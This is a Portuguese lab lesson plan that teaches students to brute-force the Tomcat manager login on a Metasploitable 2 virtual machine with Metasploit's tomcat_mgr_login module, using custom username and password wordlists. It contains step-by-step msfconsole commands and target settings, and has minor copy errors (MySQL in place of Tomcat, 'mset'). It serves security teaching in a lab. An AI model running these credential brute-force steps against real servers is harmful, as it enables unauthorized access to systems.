**ESQUEMA DE PLANO DE AULA PRÁTICA**

**TAREFA 6** "Metasploitable MySQL"

Tópico no Moodle: “Teste de Invasão do Metasploitable Tomcat”

Data:

Tempo de Aula: 1 hora-aula

Grupo: <Aluno\_1> \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

 <Aluno\_2> \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

**ASSUNTO**

**Nesta experiência, exploraremos como usar Metasploit para atacar um servidor Tomcat, visando descobrir o login de usuário e senha do servidor. Tomcat é um servidor web open source, container usado para rodar Java Servlets e Java Server Pages (JSP). Usaremos Metasploit no sentido de aplicar força bruta no login do Tomcat. O módulo Tomcat Manager Login do Metasploit é usado.**

**BIBLIOGRAFIA BÁSICA E INSTALAÇÕES**

Backtrack 5 Cookbook, Willie Pritchett & David De Smet, PACKT Publishing, 2012.

**REQUISITOS**

**Virtualbox

Backtrack 5 VM**

**Metasploitable Linux 2 VM (Aplicação MySQL)**

------------------------------------------------------------------------------------------------------------------------------
 **OBJETIVOS DA AULA**

Conhecer como quebrar “user-password” de um servidor de aplicações Tomcat, situada na VM Metasploitable 2.

Para tal serão fornecidos na VM Backtrack, no diretório /opt/metasploit/msf3data/wordlists/... dois arquivos chamados: tomcat\_mgr\_default\_pass.txt e tomcat\_mgr\_default\_users.txt

Criar e gravar o arquivo de senhas tomcat\_mgr\_default\_pass.txt neste diretório:

root@bt:/# nano tomcat\_mgr\_default\_pass.txt e preencher com senhas fictícias, como por exemplo: toor admin tomadmin e4UA ine5680 tomcat

Criar e gravar o arquivo de usuários tomcat\_mgr\_default\_users.txt neste diretório:

root@bt:/# nano tomcat\_mgr\_default\_users.txt e preencher com usuários fictícios, como por exemplo: admin bosco ine5680 tomcat ocsob root

**SELEÇÃO DE CONTEÚDO – A PRÁTICA**

Um conteúdo mínimo, consistindo de um roteiro de aula, com Metasploit, visando o objetivo acima, pode ser colocada como:

**MOSTRE SEU EXPERIMENTO**

**Abra o Virtualbox.**

**Execute a VM Backtrack, Execute a VM Metasploitable.**

**VM Backtrack: root@bt:/# startx // Abre a interface grafica do Backtrack.**

**No simbolo Application Launcher (canto esquerdo, embaixo da interface grafica), veja o Menu Application Launcher:**

**Escolha Backtrack -> Exploitation Tools -> Network Exploitation Tools -> Metasploit Framework -> msfconsole**

**msf> msfconsole // Lanca o MSFCONSOLE**

**msf> search tomcat // Busca todas as vulnerabilidades do MySQL**

**msf> use auxiliary/scanner/http/tomcat\_mgr\_login // escolhida a vulnerabilidade
 Tomcat Login Utility,**

**// surge novo prompt**

**msf auxiliary(tomcat\_mgr\_login)> show options // mostra opções disponíveis do modulo**

**// Indica o arquivo de senhas e sua localização**

 **PASS\_FILE mset**

**/opt/metasploit/msf3/data/wordlists/tomcat\_mgr\_default\_pass.txt**

**// Indica o arquivo de usuários e sua localização**

**USER\_FILE mset**

**/opt/metasploit/msf3/data/wordlists/tomcat\_mgr\_default\_users.txt**

**// Indica a VM alvo, Metasploitable**

**set RHOSTS 192.168.1.114 // VM Metasploitable 2**

**// Estabelece porta no RHOSTS**

**set RPORT 8180**

**// Executa o exploit**

**exploit**

**Metasploit tenta fazer combinações de todos os *usernames* e *passwords* contidos em ambos os arquivos.**

**Localize o “+” à esquerda da linha em que Metasploit combina login e password que funciona. Veja o resultado na saída dada pelo Metasploit.**

**CONCLUSÃO**

**Nesta prática, customizamos duas listas-dicionário de usuários e senhas para Tomcat Server. Usamos o Metasploit’ MSFCONSOLE para explorar uma vulnerabilidades Tomcat, sobre a VM Metasploitable. Começamos lançando o console e buscando todas as vulnerabilidades Tomcat.**

**Após escolhermos a vulnerabilidade Tomcat\_Login, estabelecemos suas opções e executamos o exploit. Usando os arquivos de usernames e passwords supridos por nós mesmos. O Metasploit tenta aplicar força bruta à base de dados Tomcat.**

**Neste exemplo, usamos arquivos de usernames e passwords customizados, que inventamos, mas existem alguns modos de gerar arquivos com lista de palavras de usernames e arquivos de senhas. Um destes métodos e o usado pela ferramenta Crunch ou o método de usar Rainbow Tables, que são tabelas de dicionário especiais que usam valores hash ao invés de senhas de dicionário padrão para alcançar o ataque por força-bruta.**